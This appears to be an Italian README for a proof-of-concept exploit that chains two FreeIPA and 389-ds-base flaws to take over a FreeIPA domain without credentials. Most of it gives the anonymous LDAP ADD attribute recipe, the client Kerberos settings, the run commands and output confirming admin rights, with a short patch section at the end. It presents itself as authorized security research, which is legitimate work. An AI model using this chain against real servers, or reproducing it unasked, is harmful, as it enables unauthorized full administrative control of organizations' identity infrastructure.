
Proof-of-concept di exploit per CVE-2026-76578 e CVE-2026-76560, che concatena un LDAP ADD anonimo con un bypass SELFDN di 389-ds per ottenere i diritti di amministratore del dominio FreeIPA.
Prodotto: FreeIPA 4.9.x – 4.13.3
Gravità: Critica (CVSS 9.8)
Corretto in: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
Questo proof-of-concept è stato sviluppato ed eseguito esclusivamente all'interno di un ambiente di laboratorio isolato e di proprietà privata allo scopo di ricerca di sicurezza autorizzata e validazione di vulnerabilità.
Prima di utilizzare questo script:
Gli autori non si assumono alcuna responsabilità per usi impropri. Questo codice è fornito esclusivamente per ricerca difensiva e penetration testing autorizzato.
Nota sulla portabilità: questo script è stato validato contro le versioni specifiche dei pacchetti elencate nella sezione Ambiente di test di seguito. Il comportamento su altre versioni del sistema operativo, livelli di patch o configurazioni FreeIPA non predefinite può differire. Verificare sempre i risultati in modo indipendente in un ambiente controllato prima di trarre conclusioni su un target di produzione.
| Parametro | Valore |
|---|---|
| OS | Fedora 44 (x86_64) |
| FreeIPA | freeipa-server-4.13.1-9.fc44 |
| 389-ds-base | 389-ds-base-3.2.0-15.fc44 |
| MIT Kerberos | krb5-libs-1.21.x |
| Realm | TEST.LOCAL |
| Dominio | test.local |
| IP del server | 192.168.1.11 |
| Hostname | ipa-master.test.local |
| Host d'attacco | Kali Linux (esterno, senza appartenenza al dominio) |
Un client LDAP non autenticato può aggiungere una voce di token OTP sotto cn=otp e
ottenere i diritti completi di amministratore del dominio FreeIPA. Due difetti si combinano:
CVE-2026-76578 (FreeIPA) — l'ACI di ADD su OTP non ha restrizioni targetattr,
quindi l'ADD anonimo può includere qualsiasi attributo: krbPrincipalAux, krbCanonicalName,
userPassword, krbLastPwdChange, ecc.
CVE-2026-76560 (389-ds-base) — il valutatore SELFDN considera "" (stringa vuota)
come corrispondente al bind DN anonimo, aggirando il controllo di proprietà
ipatokenOwner#SELFDN.
L'intuizione critica — nessun blob pre-acquisito, nessun accesso alla master key necessario:
Aggiungendo objectClass: inetOrgPerson + userPassword alla voce si attiva il
plugin ipapwd di 389-DS che genera automaticamente krbPrincipalKey lato server,
cifrandola con la krbMKey del realm target. L'attaccante fornisce una password in
chiaro; il server deriva la chiave Kerberos internamente.
Impostando krbLastPwdChange: 20200101000000Z (data passata) nello stesso ADD si aggira
la policy krbMinPwdLife che altrimenti richiederebbe un cambio password interattivo
prima che kinit abbia successo.
| CVE | Componente | Descrizione |
|---|---|---|
| CVE-2026-76578 | FreeIPA | L'ACI OTP manca di targetattr — qualsiasi attributo passa nell'ADD anonimo |
| CVE-2026-76560 |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
↓
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
↓
uid=admin ∈ cn=admins → full domain administrator
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit
/etc/hosts:
<target-ip> ipa-master.test.local
/etc/krb5.conf — canonicalize = true richiesto per il Livello 3:
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
python3 poc.py <target_ip> <ipa_hostname> <REALM>
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained — LEVEL 1 CONFIRMED
Default principal: [email protected]
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
════════════════════════════════════════════════════════════
krbPrincipalKey è cifrata con la krbMKey (master key) del target.
La master key è memorizzata in LDAP in cn=REALM,cn=kerberos ed è leggibile solo
dal Directory Manager — non in modo anonimo, non da uid=admin tramite GSSAPI.
Iniettare krbPrincipalKey direttamente è impossibile senza la master key.
Iniettare userPassword delega la generazione della chiave al plugin ipapwd del
server, che ha accesso interno alla krbMKey ed esegue la cifratura in modo
trasparente. L'ACI (CVE-2026-76578) consente il passaggio di userPassword senza
alcun controllo targetattr.
Il plugin di unicità kerberos impone l'unicità su krbPrincipalName e
krbPrincipalAlias sull'intero suffisso, ma non su krbCanonicalName.
Una nuova voce in cn=otp con krbCanonicalName: admin@REALM non entra in conflitto
con il principal admin reale.
Con canonicalize = true sul client, kinit attacker@REALM recupera la voce tramite
krbPrincipalName, ma il KDC emette il TGT con
cname = krbCanonicalName = admin@REALM. GSSAPI risolve questo nel DN reale
uid=admin — già membro legittimo di cn=admins. Nessuna modifica al gruppo
viene eseguita.
Quando viene aggiunto userPassword, ipapwd imposta krbPasswordExpiration a ora
(scaduta) e krbLastPwdChange a ora. Con il valore predefinito krbMinPwdLife = 3600s,
kinit richiederebbe un cambio password prima di emettere un TGT.
Impostando krbLastPwdChange: 20200101000000Z nell'ADD originale si sovrascrive il
valore del plugin a sei anni nel passato, soddisfacendo il controllo di durata minima.
krbPasswordExpiration: 20990101000000Z previene la richiesta di scadenza. Entrambi
gli attributi sono accettati perché l'ACI OTP non ha restrizioni targetattr.
Per distribuire un'istanza FreeIPA vulnerabile su una VM nuova:
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
dnf update freeipa-server # → 4.13.4
dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)
FreeIPA 4.13.4 aggiunge una allowlist esplicita targetattr all'ACI OTP, bloccando
l'iniezione anonima di userPassword, krbPrincipalAux, krbPrincipalKey e
krbCanonicalName.
389-ds-base 3.2.0-10.el10_2 corregge il valutatore SELFDN per rifiutare "" come
DN corrispondente per i bind anonimi.
Entrambe le correzioni sono necessarie in modo indipendente — ciascuna da sola riduce ma non elimina la superficie di attacco.
| 389-ds-base |
Il valutatore SELFDN accetta "" come bind DN anonimo |
| Componente | Vulnerabile | Corretto |
|---|
| FreeIPA | 4.9.x – 4.13.3 | 4.13.4 |
| 389-ds-base (RHEL 10) | < 3.2.0-10.el10_2 | 3.2.0-10.el10_2 (RHSA-2026:64785) |
| 389-ds-base (RHEL 9) | < build corretta | vedi advisory corrispondente |
| 389-ds-base (Fedora 44) | 3.2.0-15.fc44 | non corretto al momento del test |